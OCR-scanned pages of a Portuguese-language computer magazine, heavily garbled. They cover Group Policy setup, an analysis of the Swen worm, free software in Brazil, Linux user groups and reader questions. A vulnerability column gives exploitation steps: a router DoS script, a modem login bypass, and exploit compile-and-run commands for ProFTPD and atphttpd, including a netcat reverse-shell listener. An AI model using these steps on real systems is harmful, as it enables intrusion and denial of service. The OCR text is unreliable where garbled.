Messenger saja exacutado.

« Seleciondr oS SEVICOS aLe
sefao execuiados na maguing
dos ustiarios,

= Opter logs mais completos
dog evenios da rede.

« Dafinir politicas da senhas

- maig aficientes:
% : =

basta digitar o comando deprome no
prompt & seguir o assistente de
configuracdo que aparecera na lela

Quanda voce for aplicar uma
Group Policy, o primeiro passo €
criar uma OU. Suponha que vocé
gueira separar 0s usuarios do

marketing em um grupo e definirum  »
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Paraapllcar uma Grnup Pohcy. é praciso criar um OU

papel de parede padrao para este
departamento, O primeiro passo &
criar uma OU com o nome Markeling
e acrescentar lodos 0s usuarios
correspondentes abaixo dela. Em
seguida, voce abre o gerenciador de
Group Policies de rede e aplica as
configuragdes necessarias. Sendo
assim, & muito importante ter uma
estrutura bem organizada antes de
implementar politicas de grupos.
Caso contrario, sua rede pode se
lomar um verdadeiro cans,

Ferramentas de administragao

Embora o Windows Server 2003
ja ofereca diversas ferramentas de
administragao de Group Palicies, &
altamente recomendavel que vocé
use um software especifico para
este propasito. O nome desta
ferramenta é Group Policy
Management Console e seu
download pode ser feilo

Entarpriss Managemant with the Group Policy Management
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graluilamenle em
htto://www.microsoft.com/
windowsserver2D03/gpmce.

Apds baikar 0 programa e fazer a
instalacac, também & uma bea ideia
criar um console de administragao
para facilitar a configuragao de
polticas locais e de rede. Veja a
seguir como fazer isso;

Clique no botao Start, selecione

fRun e digite mme. Uma tela em
branco do Microsolt Management
Console aparacera, permitindo gue
vocé adiciona navos itens. Em
seguida, clique em Fie e selecione
Add/Remove Snap-in (se preferir,
utilize o atalho Cirl+A).

Clique em Add ¢ dé& um

cligue duplo sobre o item Group
Folicy Management. Em seguida,
faca o mesmo com o Group Policy
Object Editor, selecione Local

Compatibilidade com estacies

Nem todas as politicas que wich

estagdes de trabalhe. 1sso porgue as
versbes mais antigas do Windows, coma

tetalkmante diferents do Windaws Sarver
2003 & do Windows XP Portanta,
sempre verifigue a compatibilidace da
politica antes de defini-la pera um

deisrmmado grupa de usudrios. Csta
‘compativilidade aparece logo abaixa
‘de cada politica de seguranga, em um

- campo denominado Supported On. So°
“vooce vir 8 mensagem At Least

detine na reds sip validse para | todas as

o 9X e NT, abalhavam de urma maneira.

~ examplo, significa gue esta polilica s6-
‘serd vélida no W2K ou em versoes

Mitrasoft Windows 2000", por

rais novas do Windows,

Balxe o Managemanl Cnnsolo dlreto dn alte |:|a Mlcrosoﬁ

Computer e clique em Finish,
Pressions o botao Close para fechar
esta caixa de didlogo e dé OK

Agora, & so salvar este console

MMC em qualguer lugar do seu
disca rigido, Cam isso, vocé acaba de
criar urma ferramenta de atalno para
administrar as Group Policles do
sisterna, sejam elas locais ou de rede.

Criando uma Group Policy

A melhor maneira para entender
come se implementa uma Group
Policy & fazendo todo o
procedimento na pratica,
Basicamente, vocé precisara oriar um
ohjelo com as Group Policies
cesejadas e, em seguica, criar um
link para associa-la a uma OU,
Acompanhe passo a passo come
criar uma Group Policy e deixar sua
rece mais segura;

Conecte-se como Administrator ¢
B zbra o console MMC que vocé
criou anteriormente. Duas opgoes ,
aparecerac no lado esguerdo da
janela: Group Policy Management e
lLocal Comptter Policy. Expanda a
primeira delas, uma vez gue vamos
criar uma nova politica de rede,

Expanca a floresta correspondente

4 sua rede, abra os dominios
clique sobre o seu senvidor Em
seguida, selecione a opgao Group
Foficy Objects para criar Uma nova



i Microsofl Group Policy Management Console Setup Wizard

Welcome to the Microsoft Group Policy
Management Console Setup Wizard

This wizard helps pou to rerstall or remove the Microsoft
Growip Policy Managsment Console.

‘Woarning: This selup cannol reinstall shared files if they are in
use. Before procesding, wa recommend that you close any
PIogIams you may be inmind.

Click Cancel to quit this setup wizard and then close any
programs you have wnning. Click Mest to contife with this

reinstaliation.

politica de seguranga, clique com o
botao direito do mouse sobre ela e
selecione Mew, Digite um nome para a
palitica que vocé guer criar (par
axamplo, Bloqueia Deskiop),

Sua nova politica aparecera na

janela do lado direilo da tela,
Cligue com o botao direito do mouse
sobre ela e selecione Eait. Pronto,
vocé chegou & tela que define as
politicas de seguranga. Apanas como
exemplo, va em User Configuraiion,

Usando a Interface do Management
fica facil configurar os Group Policies

expanda a pasta Administrative
Tempiates 2 clique em Desktop.

Uma lista com diversas opgoes

aparecera, Se vocé nao quiser
que um determinado usuario ajuste
as barras de ferramentas do sistema,
dé um cligue duplo sobre a politica
Prohibit Adjusting Desktop Toolbars @
selecione Enabled. Voce pode ativar
mais de uma politica, conforme sua
necessidade. Quando terminar, basta
fechar a caixa de didlogo.
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Apds criar as primeiras regras, vocé

veri que o processo € muito simples

|‘ i | -

Embora vocé ja tenha
criado uma politica de
seguranga, até o momento ela nao
serve para nada. Ainda & preciso
associa-la a uma OU do Active
Directory. Cligque com o botao
direito sobre a OU que voce guer
associar (por exemplo, Markating)
e selecione Link An Exstirig GPO,
Em seguida, dé um cligue duplo
sobre a politica que vocé criou
anteriormante. Apds fazer issa,
lodos os usudrios destla OU ja
passarao a respeltar suas regras
da politica de grupo.

Isto que vocé conferiu & o
bésico sobre as politicas de grupoes
do Windows Server 2003, Como
voce deve ter percebido, néo existe
uma receita-padrao que se apligue
a todos os tipos de rede. O ideal
mesmo é vocd analisar as
necessidades de cada
deparlamento e, a partir dai, definir
0 que cada usuario pode oU N0
fazer dentro da rede da empresa,

E clara que somente isso ndo
deixara sua rede segura, mas pede
apostar que diminuira, e muito, as
chamadas de suporle técnico
dentro da suz empresa, PCM
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Quando novas taticas de engenharia social ajudam a

espalhar 0os mesmos velhos codigos destrutivos de sempre

Por Leandro Calcada
leandro.calcada@europanet.com.br

mentira & tac antiga quanio a
hurmanidade. Se ha uma falha
de seguranga Impossivel de
corrigir, esta falha é a
capacidade humana de acreditar,
Desde o Love Letter, centenas de
virus tém se espalhado e causado
danos pelo mundo inteiro, baseados
apenas na capacidade das pessoas
de se¢ enganar frente a uma historia
razoavelmenta bem contada.

Corr o Swen nao & diferente. Seu
principal método de repredugao nao
depende de nenhurma falha de
seguranga, simples ou complaxa, e
ainda assim o virus tem infectado
computadores por lodo o mundo
gragas ao seu disfarce bem-feito e
aparentemente acima de quaiquer

O miéloda mais eficaz para sa
defendar do Swen & nao ahiir fanhum
arcuive anexo-de gualguer e-mail, a nao
ser que a sua procedéncia tenha sido
duplaments verificada Tamb&m nao &
cemals saber quea Microsoft nunca
envioL nam enviard tualizagoes do
sleterra por s-mall e gue. portanto,
qualguer e-mail que alerega algo do lipo
& falso por natureza

Outra defesa eficaz é tet um artivirus
atualizado ativo na PC.Além Oe evitar

oultés infecgdes mais perigosas o
antivirus evitara gue o sel corrputador
s&ja infectago em Um momenio de

distragdio. O antivirus também & a

solugin: perfaita para usuArics
inexperientes, para os quais v lrugue do
porpail & quase sempre tatak

Tarmbém & recomendavel, para néo
dizer essencial, manter o intemel
Explorer atualizado, pois ha variantas
tue exploram falhas antigas do Browser,
instalando o virus automaticamente:

A6 PC Master

suspeita: uma atualizagao da Micrasoft.

Com um design similar ao da
pagina da gigante do software,
instructes de instalagao no mMesmo
padrac dos boletins técnicos da
empresa € com o propric cadigo do
virus simulande uma atualizag&o real
o Swen tem enganado nao apenas
usudrios, mas ate mesmao
administradores de sistemas mais
inocentes, Saiba agora como O virus
funciona e evite este mico

Reprodugao

Como Ja foi explicado, nas infecgoes
por e-mail © Swen Nao explora nenhuma
falha de seguranga que permita a
nfecgéo automdtica, a excegao de
alguns e-mails enviados que podem
tentar explorar a falha no ActiveX do
Internat Explarer 5, resultando em uma
infeccao automatica. Os enderegos para
envio 580 extraldos do Catalogo de
Enderegos, de e-mails 2 de arquivas
diversos no sistema infectado. e as
mensagens séo enviadas por um cliente
de SMTP embutido no proprio virus.

Note gue o virus tlambém envia
outros e-mails contendo o seu
contelido sem o disfarce da
atualizagao da Microsoft, e alguns
desles e-malls podem conter trechos
de e-mails ou de arquivos de taxto do
giclemna infectado, o que pode tornar
o e-mail convincente para o
destinatério, além de represeniar uma
ameaga a privacidade do usuario do
computador infectado.




Inztalling

A camuflagem & quase perfeita...

Alem disso, o virus também
pode se enviar para newsgroups,
pastas compartiihadas na rede
Windows, clientas de IRC e redes
peerto-peer como a do Kazaa.

Caso haja drives de sistema
mapeados na rede local, o Swen
tambem pode tentar copiar-se
diretamente para a pasta Starlup do
sistama-alvo, lazenda com aue o
virus seja executade
automaticamente no proximo boot
do sisterma atingido.

Infeccao

Uma vez executado, o Swen
copia-se com um nome de arquivo
aleatdrio na propria pasta do
Windows. A segur, sao modificadas
diversas chaves de registro para
ligar a execucao do cadigo
maliciosa a chamada de quaisguer
arquivos com as extenstes BAT,
COM, EXE, PIF, REG e 5CR, Com
iss0, 0 virus garante & sua
" execugao ndo uma, mas multiplas
vezes conforme o computador &
usado, ¢ que torna desnecessaria a
presanga de gualguer entrada
nas chaves de registro Run,
RunOnce ou RunServices,

Convencendo a crianca a saltar do prédio

Microsoft

=

| MS User

this |2 tha latest verswon of gesunty update, the "September 2005, Cumulative Pate
update which elimmates all krown security vuinerabilities affecting M3 Intermet Exp
ME Outiook and MS Dutiook Exprass. Install now to maintain the securty of your

|| computer from these vulnerabilitiss. This update inchudes the chtlu‘nillt}l of afl

nrlulmlllN r-ll“--rl nat -hwf
.. & x

|ﬁ='_

.08 mall 80 v[rus vém camuﬂa-r.l-ns como uma atualizagﬁu da Mlcrosnf't

Capacidade Destrutiva

O primeiro sfeito da presenga do
Swen & um aurmento macigo no
trafego de Internet, O grande
tamanhio do executavel (100 Kb),
aliado as sucessivas execucdes do
virus, devido a sua estrutura da
infecgéo, podem aumentar o trafego
de dados na Internel a ponic de
tornar o acesso a rede impaossivel,

Qutro efeito colateral das multiplas
exacucoes do virus é uma sensivel
redugao na velocidade geral do
sisterna, uma vez que fodo acesso a
guaiquer arquivo com as extensoes
atingidas envolvera uma execugao do
virus, Para completar o estrago, o Swen
impade o acesso ao Edilor de Registro
do Windows & tambam termina os
processos dos softwares de antivirus

O Swen ndo & © primeiro nem serd.
o (iimo virug do mundo a usar &
engenharia social como método de
infecgao. Para querm nAo sane,
engenbara soclal & a arte de obter
geesso nao autorzado a computadores
ou redes alhefas atraves de mélocos
ndo-téonicos. E disfargar-se de
atualizagio da Microeoft & certamente

tho eficaz t;u&ntu ambabeﬁar o
atministrador da rede & fim de

‘conaegur a sua senha de 2ossso;

Metodos corno este provam gque um
bom eanhecimario da naturesa hdirana
ainda pode ser mais eficaz gue as
rMAlGres: macha& de seguranca, e gue o
grande. pmblama das redes de
mrnpu{atinras alfda é o Usuario.

e de seguranga mais conhecidos,
tornando o computador mais vulnerave|
a atagues e outras infeccdes

Como Remover

MNao € recomendada a remogao
manual do virus, uma vez que o processo
envolve a alteragao de um numero grande
de configuragtes do sisterna sem o uso
do Editor d8 Registro, que e blogueado
pelo virus, aléem da complicaggo adicional
do arquive maliciosa ter um nome
aleatdrio & imprevisivel. No entanto, caso
o arguivo da virus ja lenha sido removido,
& possivel restaurar 0 acesso normal aos
arquivos do sistema com o downioad e a
instalagan de arquivo fixswer.in,
disponivel no link a seguir:
http://a64.g.akamai.net/7/64/2015/
2003-08-25-15-/download.nai.com/
products/m.

0 arguivo tampém e Util caso o
antivirus ulilizado tenha apenas
apagado ¢ argquive, e nao desfeilc as
alteragdes que o virus faz na
configuragao do sisterna. Vale lembrar,
antretanto, que a solugio recomendada
& ysar um antivirus capaz de fazer
ambas as tarefas, ja que isso toma o
procedimento mais simples g, portanto,
menos sujeito a erros. PCM

Fomte: Melwors Associates - ww nal com
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¢ Tutorial

Eles sabem o que falam. Todo més uma superdica ou

um comentario de tecnolog

ia, escrito por um profissional

da area, mostrando a solucao para 0s seus problemas

olhaisjuelsoit

caminho que deve ser
seguido pela induslra
brasileira de tecnologia da
informagao (T1) & um fema
em constanta discussao.
Infelizmente, aos olhos do mundo, o
Brasil ndc tem uma industria de
tecnologia da informagac de grande
visibilidade e isso atrapalha, e muito,
guaiguer iniciativa que se tenha para
estimular as exportagoes e O
estimulo 2 conguista de novos
mercados. Ainda somos vistos pelo

Ficha do autor

B NOME
Radalfo Gobbi

[l ESPECIALIDADE
Diretor da Cyclades
Empresa pioneaira am Linux

Il CONTATO

socotfo gobbiddopciades comds

48 rc Master

resto do mundo coma o pais do
futebol. do samba e da caipirinha

O mercado intarmo brasileiro &
pequenc para ganharmos
competitividade no mercado
internacional. Nao da para definirmos
gualguer caminho para a industria
brasileira de Tl sem que
considaremos ganhar parte do
marcado internacicnal,

Enquanto, ha anos, o Brasil
discute qual caminho sequir. o
mundo vive uma revolugao
silenciosa, persisiente e sem
grandes lideres mundiais: a
revolugdo do software livre. E o Pals
assiste ac nascimento de uma
caomunidade virlual sem precedentes
na historia da humanidade 2 com
uma incrivel capacidade de
crescimento poucas vezes vista
anteriorments no mundao,

Gragas a isso, o software livre
quebra paradigmas 8 o sau modelo
de licenciamento traz consigo

Diretor de operagoes oa
Cyclades defende a
formacao de uma
forca-tarefa para que o Pals
adote o pinguim e use-0
para se projetar ao mundo

KeliuKe

algumas vantagans muito
interessanies e. sobraetudo,
competitivas em relagao ao
software proprietario; flaxibilidade
e independéncia tecnoldgica;
eficiéncia, ja gue qualguer tipo de
desenvolvimento nao precisa
comegar do zero, apelo comercial,
pois as barreiras de entrada no
mercado sdo mencres

Com o atual governo se
apresentando mais nacionalista que
os anterioras, muite tem se debatido
sabre este assunto nas asferas
govemamentais € na midia.

Fala-se em criar uma industria
brasileira de componentes
eletrénicos (chips), mas o momento
& muito tarde e viria com um alio
custo. Os tigres asiaticos ja
dominaram este mercado mundial;
isso sem falar dosg pesados
invastimentos necessarios para esle
lipo de industria, inviabilizando,
assim, gualguer possibilidade de ©




Brasil vir a se consolidar como um
lider mundial nesse segmento da
inddstria de TI,

Um outro caminho proposto é
fortalecer a inddstna nacional de
desenvolvimento de softwares para
gue ela passe a exportar cada vez
mais. Tarde novamente, Os
programas do governo federal para
estimule & exportagao de scftware
vam tentando esle caminho ha mais
da dez anos, com resultados abaixo
do esperado. A India esta anos &
nossa frente na formagao de
profissionais para este tipo de
industria. Novamente, uma
alternativa que pode ser descarlada,
ja que ¢ cenario mundial nos
deixaria apenas como um
coadjuvante neste setor.

O lugar ao so! do Brasil no
mercado mundial de Tl esta ficando
cada vez mais raslrito & as chances
da mostrarmos todo nosso
potencial para © mundo estao cada
dia menares. Mas nem tudo esla
perdido. E ndo podemos perder o
bonde mais uma vez,

Por este motivo, acredito gue o
Brasil precisa rapidamente se
posicicnar para o mungo coma o
lider am algum segmento na area de
T, qualguer que seja ele. Seja como
o pais das solugtes de automagao
bancaria, seja como o pals do
" soltware livre au putre campo
qualguer. O mundo precisa
lembrar-se automaticamente
do Brasil guando tiver
alguma necessidada
tecnolbgica, assim como se
lernbra guando o assunto ¢
futebol, carnaval, samba
ou caipirinha.

Assumir & bandeira do
software livre ndo reguer
um investimento de
grande porte como a
indlstria de
compaonantes
alatrénicos, g
nem mesmao
F-FE cisarsimnos
de longos

prazos para conseguinmos os
primeiros resultados financeiros.
Essa alternativa tampouco raguer
urm grande investimenio de
marketing para fazer a marca
"Software Brasil" tamosa, O software
livre ja & conhacida mundialmenle
Meioc caminha gndado para as
Nossas pretensoes internacionais.

O Brasil possui excelentes
programadores, e muitos
reconhecidos mundialmente.
Marcelo Tosatti, mantenedar mundial
co Kernel do Linux, € um desses
bragileiros que fazem suUCesso
Ia fora, Potencial nao nos
falta. Basta nos
posicionarmos como o
pals do software livre e
colocarmos na
"memoria do mundo”
gue gquando
precisarem de

solugdes e sevigos baseados em
software livre, o Brasil 8 o pais cerlo
para procurar € encontrar predutos
com gualidade para atender a todos
os tipos de necessidades.
Atualmenite, todos o8 paises em
desenvolvirmeanto procuram fortalecer
sua indistria de Tl para conseguir
urm lugar de desiague no cendrio
mundial, Se o Brasil ndo agir lago, ao
invés de ficar apenas discutindo
iremas parder mais uma excelente
oportunidade de canguistarmos
nosso lugar ao sol, Ficaramos
assislindo a algum outro pais
assumir este papel em nosso
lugar e mais uma vez
‘perderemas o bonde’
das oportunidades que
nos sao criadas. Mao
podemos admitil
ficar navamente
para tras. PCM




¢ Seguranca

Confira as principais falhas
de seguranca do ultimo
periodo e aprenda como
resolvé-las. Os arquivos
comentados estao em:

Por Domingo M. Montanaro

pcmaster@montanaro.org

DSL Modem DTPrintinfo

Tipo: Remota

Versoes Afetadas:

SMC2404WBR - Barricade Turbo
11/22 Mbps Wireless Cabe/DSL
Broadcast Router

Sistema Operacional: Conexant
Access Runner

Tipo: Remota

Versoes Afetadas: 3.21

Gravidade: Alta

Gravidade: Alta

Privilégios: Servico indisponivel

Descricao

O SMC2404WBR Barricade Turbo
11/22 MBPS Wireless Cable/DSL
Broadcast Router € um roteador
utilizado em conexdes
Wireless/Cable/DSL. Com ele, é
possivel congelar o equipamento
até o usudrio intervir com um
reboot. Isso ocorre porque existe
uma falha na prevengao de
inundagao de pacotes UDP
randémicos, fazendo com que o
aparelho seja vulneravel a esse tipo
de ataque de negagéo de servigo.

Como Explorar:

Para explorar essa vulnerabilidade,
é possivel utilizar o mesmao exploit
utilizado para indisponibilizar o
firewall ZoneAlarm na plataforma
Windows 98. Para tal, use:

perl sms.pl enderego_ip

Como Proteger:

Até o fechamento desta edicéo, a
correcao nao estava disponivel.
Procure no site do fabricante.

Privilégios: Acesso a area
administrativa sem possuir a
senha de administrador

Descricao

O Conexant Access Runner DSL
Modem é utilizado para conexoes
ADSL com a Internet em diversos
paises do mundo. Em sua vers&o
de firmware 3.21, € possivel
acessar a area administrativa sem
possuir a senha de administrador.
Isso deixa qualquer sistema
extremamente vulneravel.

Como Explorar:

Uma vez visualizada a tela de
login, digite qualquer string e
confirme. Apds aparecer tela de
acesso negado e senha incorreta,
retorne a tela de login escolhendo
a mensagem please try again.
Apos isso, simplesmente aperte
<Enter> e, assim, vocé entrara
na area administrativa.

Como Proteger:

Até o fechamento desta edigdo o
problema ainda nao tinha sido
sanado. Procure no site do
fabricante para mais informagoes.

Sistema Operacional: HPUX

Tipo: Local

Versoes Afetadas: B.11.00

Gravidade: Alta

Privilégios: Elevacao de Privilégios

Descricao

O dtprintinfo € uma aplicagao
grafica que exibe o status de filas
de impressao e trabalhos de
impressao. Em sua versao para o
HPUX B.11.0, ele possui uma
falha de buffer overflow na
verificagao da variavel de
ambiente DISPLAY.

Como Explorar:
Para fazer um teste se sua
versao é vulnerével, siga os
seguintes passos:

export DISPLAY=""perl -e ‘printf
X9
/usr/dt/bin/dtprintinfo

Caso apareca uma mensagem
Memory Fault, seu sistema esta
vulneravel a ataques.

Como Proteger:

Até o fechamento desta edicao a
HP ainda nao havia langado o
boletim oficial com a corregao da
falha. Procure no site da empresa
para mais informactes sobre

b

como corrigir o problema.




ProFTPD Open Office atphttpd

Sistema Operacional: Posix

Sistema Operacional: \Varios

Tipo: Remota
Versoes Afetadas: 1.2.7 até 1.2.9rc2

Tipo: Remota

Versdes Afetadas: 1.1.0

Gravidade: Alta
Privilégios: Execucao de comandos
arbitrérios

Gravidade: Média

Privilégios: Indisponibilizagao do
Aplicativo

Descricao

O ProFTPD & um daemon (servidor)
FTP muito utilizado hoje em dia, em
detrimento das falhas de seguranga
do concorrente,  WU-FTPD. Em
sua configuragao, é possivel fazer
um chroot jail, ou seja, uma jaula,
para que O Usuario nao possa
visualizar ou manusear arquivos fora
de sua pasta-base. Nessa verséo, é
possivel quebrar essa chroot
através de uma falha de buffer
overflow que possibilita a execugao
de comandos arbitrarios.

Como Explorar:

Primeiro, certifique-se de que o
host remoto esta rodando a versao
especifica do proFTPD. Para isso,

é necessario apenas conectar pelo
proprio cliente nativo ftp do seu
sistema operacional. Uma vez
certificada a verséo, compile e rode
o exploit proft put down.c:

$gcc -o proft_put down
proft put downc
$./proft_put down-t
enderego_ip_da vitima -l
endereco ip_local -U
ooniing e 0

incoming é o diretdrio que vai ser
criado e onde o exploit vai
trabalhar como pasta-base.
Informe seu endereco IP para a
shell conectar. Para abrir uma shell
local, use o NetCat:

$ nc -nl 4660

Como Proteger:

Baixe a versao 1.2.8p que ja esta
corrigida no site www.proftpd.org
(<3S

7

Descrigao

O OpenOffice é um pacote de
software para escritorio similar ao
Microsoft Office. Quando
habilitado o acesso remoto ao
aplicativo, ele abre a porta 8100
por padrao, ouvindo por conexoes
remotas. Nesse modo remoto,
existe uma falha que possibilita
um erro fatal no aplicativo, e assim
fecha-lo remotamente.

Como Explorar:

Abra o OpenOffice habilitando o
acesso remoto na sua propria
maguina com o comando:

05 wSeu_‘endefeC-

Agora, efetue uma conexao local
no enderego de loopback através
do comando:

telnet localhost 8100

Ira aparecer:

Digite aproximadamente dez
vezes a seqlencia “0 <enter>" de
maneira que fiquem dez linhas do
numero zero. Apds isso, a
aplicagcdo mostrara uma
mensagem de erro e
posteriormente fechara.

Como Proteger:
Desabilite 0 acesso remotc até
que a falha seja corrigida.

.

R

Sistema Operacional: Linux

Tipo: Remota

Versoes Afetadas: Todas até 0.4b
Gravidade: Alta

Privilégios: Elevacéo de privilégios

Descricao:

O atphttpd é um servidor Web
desenhado para ser simples,
rapido e, especialmente, para ser
utilizado em sistemas que nao
podem acessar muitas vezes o
disco rigido. Em sua versao 0.4b,
ele possui uma falha de buffer
overflow que paossibilita ao
atacante obter os privilégios do
usuario que roda o atphttpd,
normalmente root.

Como Explorar:

Para explorar essa vulnerabilidade,
certifique-se que o host remoto
esta rodando o atphttpd, fazendo
uma conexao na porta HTTP
(normalmente 80). Verifique se o
programa esta sendo executado
com o seguinte comando:

#telnet endereco_servidor 80

Se estiver correto, ira aparecer a
instrugdo GET / HTTP/1.1. Ap6s
isso, compile e rode o exploit:

$ gee -0 atphttp atphttp.c
./atphttp endereco_ip_vitima

Normalmente, o Offset varia de
1.300 a 2.400, dependendo da
distribuicao. Sugerimos tentar
offsets de 100 em 100.

Como Proteger:

Até o fechamento desta edicao
nao estava disponivel a corregao
para esse problema. Procure na
pégina do fabricante a Ultima
versao do servidor em
http://www.redshift.com/~yramin/
atp/atphttpd/

J
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onverse sobre Linux com
outros usudrios, Sac milhares
espalhados em diversos
grupos, Todos eles com um
inleresse erm comum. ampliar
conhecimentos sobre o sisterma
operacional que vem conguistando
mais espago a cada dia.
E para gue vocé posea lazer
parle desle universo, publicamos, a .
- seguir, uma lista de varios grupos
de usuarios Linux brasileiras. Basta
escolher um deles e fazer o
cadastro para ficar por dentro de
todas as ultimas novidades.

Linux Hangar
wwwlinuxhangar.hpg.com.br

SERVUX - Servidores Linux
WWW.BSTVUX. CiD.net

Participe de um grupo de usuarios Linux. No i S

Brasil, existem dezenas deles para voce trocar R
experfénf:fas e saber mais sobre o sistema linux-br.conectiva.com.br

1 - AMAZONAS

@

o | 2 rmRj 11 . SAO PAULG
E

L=

=
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g 3 . PlAUl
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9 - ESPIRITO SANTO
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-
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5
m
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A RIO GRANDE DO NORTE

10 - RIOCDE JANEIRO
SALAGOAS

o BAHIA

Grupos

12 PARANA
8 - MINAS GERAIS I




Frog-BA - Programagado Linux
listas.conectiva.com.brilistas/

JustLinux
groups.yahoo. comygroup/justinuy

GUS - Grupo de

Usuérios Slackware
gus-br liruxmag com br

Grupo de Discusso Linux
groups yahoo com/groupylinux-board

Unuxabe
linuxabe-subscribaf@egroups.com

FRed Hat Linux Brasl|
rechatbrasil-subscribef@yahoogrupos.com.br

Deblan-BR
waw. debian-br.org

LimxChix Brasil
brilinuxchix.org

Linux Debate
WWW. Grupos.com.br/grupos/linux

Seguranga no Conecliva Linux
distro.conectiva.com. br/mallmany/
listinfa/sequranca

13 - BRASILIA

14 - RIO'GRANDE DO SUL

Grupo do més

Unuxail.org
wwwlinuxall.org - bdson Sygusdorm
webmastenizlinual o

Linux Alta Disponibilidade
linux-ha-besuhascrbe@barar conectiva.com br

Linuxdicas
wanw linuxdicas.com.br

The BSD
veern thebsd.arg

Cipsga - Comité de Incentivo a Produgan
de Software GNU & Alternativo

www cipsga.org.br

Linux na Redes
hittp / veaew linuxnarade. org/

Linux Clube
wvaw linuxelube.com

Grupo Geek
wiww grupogoalk.tk

15 - MATO GROSS0 DO SUL

16 -

WVIATO GROSSO

17 - ACRE

PCM




Cartas

Agui, os especialistas da Utah Linux Center
acabam com suas duvidas sobre Linux. Envie
sua pergunta para

Atua"zagau du Heu Hat g'o Red Hat Metwork Regizteation Program (C) 2000 Be] Hat,
Como devo proceder para
fazer a atualizagao do Red Hat 9.0,
sendo que a atualizagao Mow for the first time ever, infornation. updates. and services
automatica nao esta funcionando? that erhance the security and relisbilituy of uour Red Hat Linti
Aparentemente, o problema systems are svailable to you in one place— Red Hat Network,

parece cstar no site da Red Hat, WK ONE Chite Sa0aiatbys

O que devo fazer pard nao manter -- Red Hat Lirux information, updates, and services specific to

meu sislema desatualizado? E’-““: systens A of updatas (inoluding the
“arein Qi — Fagt access and proactive delivery a including
Sergio Signal 2.4 kernel |)

ssignal@ig.com.br — The latest news from Red Hat uhen new products and services

A distribuicdo Red Hat Linux
possul um esguema propio para
alualizagdo. Trala-se do senvico
Red Hat Metwork, cu RHN. Antes
de usa-lo, & necessano
cadastiar-se coma Usuario do
asenvico, O cadastro pode ser fenlo
de tuas maneiias: aiavés do st Registro no up2date do Red Hat 6 obrigatério para a atuallzagéo do sistema
hitp. {irhn.redhal.com ou com o
auxflio da utiltario thn register

T3/ AE-Tahd between elements | {Space? selecta | 122 next soreen

Anos cadastrado, as atualizagnes — controlada para permitir velocidades de Novell por Linux

podem ser aplicadas utiiizando-se  download acengveis & ndo salurar 0s Substitul um sisterna Novell por um

o utifitaric up2date. Ambos 0s servidores. Opcionalmente, a Red Hat Linux com Samba. No entanto, a Novell

utilitarios rhn_register e up2dale oferece um plano de assinatura em que o parmitia a gravagan nos arquivos e

estav incluidos por padrdo no usuano paga uma taxa e tem acesso a impPri’l deletar arquivos. 0 que &

Aed Hat Linux, sarvidores FTP exclusivos, com largurade impossivel no Samba, Uso um sistema
Como se frata e um senigo que  banda mais ampia ¢ garantia de em Dataflex para DOS, & no Linux

nac envolvie custas direfos para o funcionamento infntarrupto. Para quern cologuel penmisstes rvx para o

usudrio final, a quantidade oe utifiza v Linux profissionalmente, como, por  usudrio, rwx para o grupo e f-x para 0s

downinads simulidnsos nos examplo, em senidores de Intermet, é uma  outros usuarios. Desta forma, o Usugrio

senvidores FTP da Red Hat & excelente altemativa tiiizar 8 opgac paga. dono do arquivo & o grupo poderiam

A Utah ¢ ¢ Gnico Centro de Treinamento oficial MySQL em Séo Paulo

_ dB R$ 1 m Néo perca a oportunidode
il 1 1 8 0 0 0 de aprender tudo sobre
po_r a vista baifico de dados MySQL
| X de RS 295, Ub s/ juros Ligue: 11 3064-7009
Promocéo vélida somente até 30/11/2003.



O grub & um dos gerenciadores de inicializagio da distribuigio Conectiva 9.0

ter todos og acessos, 8 40s demais
sarid permilido apenas a leilura e
ExeCcUCE0, ASSiM, quaquer usuario
exacUiana o programa, e este que faz
parte da grupa teria acesso 4 gravagao,
Tudo isso tera funcionado s¢ o
programa fosee executado no servidor,
mas gle g exsculado no =iminal,
pois o Samba serve apenas para
armazenar os arquives. Como fago
para permitic (que 0% LSLANNS exacutem
03 programas armazenados no
servidor, & estes consigam usar os
arquivos de dados, efeluando
gravagles, sem permitir que o usuaric
entre pela rede e apague todos os
ArqUIVOS & pragramas ?
Luls Saran
|uis.saran@bol.com.br

Esse & Um problema existente no
modelo de permissoes Unix usada pelo
Linux. Cam o langamento do Kemel 2.6,

fmrarman o erita a A5 e ffir'j":lc- e
lUJUI‘IIUU U‘JJ-—'\.”[L-’ Li [ W )

controle de acesso) até enrs*o
existentss na funma de palvhes pard
Kemeis da sene 2.4 e almbutos
extendidos, o gue dimintira de fama
considerdvel asses prablemas. Ate 8, o

prigque Schaumann, 2

QUB VOCE pode tenlar & usar 2
permissao especial ", Trata-se do
sticky bit Quando definica para
cliratdrins, ela parmite oue 0S LSUANOS
possam gravar no diretonio caso fenham
permissao de gravagao, mas nac
penmite gue dpaguem argulivos de
oulros wsuanos. Simeificando, somernts
0 dono de um arquivo pode apaga-io.
0 slicky bit & athvado com o uso do
comanda a seglir

chmod 4+t <diretério>

Linux nao inicia

Instalel o Conectiva 9 no measmo
HD de Windows, cada um na sua
particéo. Ao instalar o Windows
novarments, sumiu a tela de inicializagio
do Linux, onde eu escolho o Linux ou
Windows. Como fago para ativar
novamente esta tela de inicializacan

, sem instalar o Linux novamente?

Dalton FG
daltonfg@hotmail.com

O Conectiva 9 usa o GRUB corino
gerenciador de boot padrac para
controlar a inicializacan do Linux & de

l'
B = 1)
ue VMIA

LlNuXE

ar Jel. America SP

i 5

oulros sistemas operacionals
instalados ern sua maguing
(Windows, por exemplo), O GRUB
provaveimerta foi instalaco na MAH
(aetor de a‘nr‘cjan?ﬂgén—mesrrej te
56U alsco n’grdo. QO gue acontecel
foi que o Windows, ao ser
reinstatado, apagou o conteldo da
MBR de seu disco rigico e,
consequentemente, removel o
GiRLIB. Seu sisterna Conectiva 9
continua instalago e intacto, voct
somente ndo consegue acessd o
devido au GRUB nao mais ser
exibidlo guando seu PC é iniciado.
£) gue vocé pode tentar fazer &
usar 0 disquele e recupergan
crfado durantc a instalagao do
Conectiva 9 e iniciar sua maquina a
parlie do resinio. Ao fdaer isso, sud
magLina sera iniciada no Conectiva
S e uma vez deniro do mesmao, vacé
podera regravar o GRUB na MBR
novamento, executands o comando
abaixo como oot (supersuano).

grub-install /dev/hda

Casn vocé nan possta um
disqueta criado durantc-a
instalacdo, tente iniciar sua
maquing atraves do CD de
instalacao do Conectiva 3 e, no
momento em gue surgira tela
gratica oo GRURB com a3 opcoas
de instalagdo do Conectiva,
verifigue se uma opcdo de
reCupersLan de insiafagoes
danificadas existe (geraimente
"o'-ﬂnr:"rcacrla COMO recUPeracan ou

